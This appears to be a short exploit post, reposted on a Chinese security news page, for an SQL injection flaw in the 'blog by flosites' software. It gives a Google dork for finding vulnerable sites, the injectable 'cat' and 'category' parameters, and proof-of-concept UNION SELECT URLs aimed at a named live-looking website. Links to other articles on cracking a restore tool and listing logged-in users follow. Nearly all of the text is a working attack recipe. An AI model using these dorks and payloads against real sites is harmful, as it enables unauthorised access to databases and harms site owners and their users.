[+] Google Dork
"blog by flosites"
[+] Exploit
http://[site]/[path]/index.php?cat=-1 [SQL]/*
http://[site]/[path]/index.php?category=-1 [SQL]/*
[+] Proof of Concept
http://www.designaglow.com/blog/index.php?cat=-1+union+select+1,version(),3/*
http://www.designaglow.com/blog/index.php?category=-1+union+select+1,version(),3/*
[]
上一篇新闻:手动破解迅闪还原
下一篇新闻:cmd下查看当前登陆用户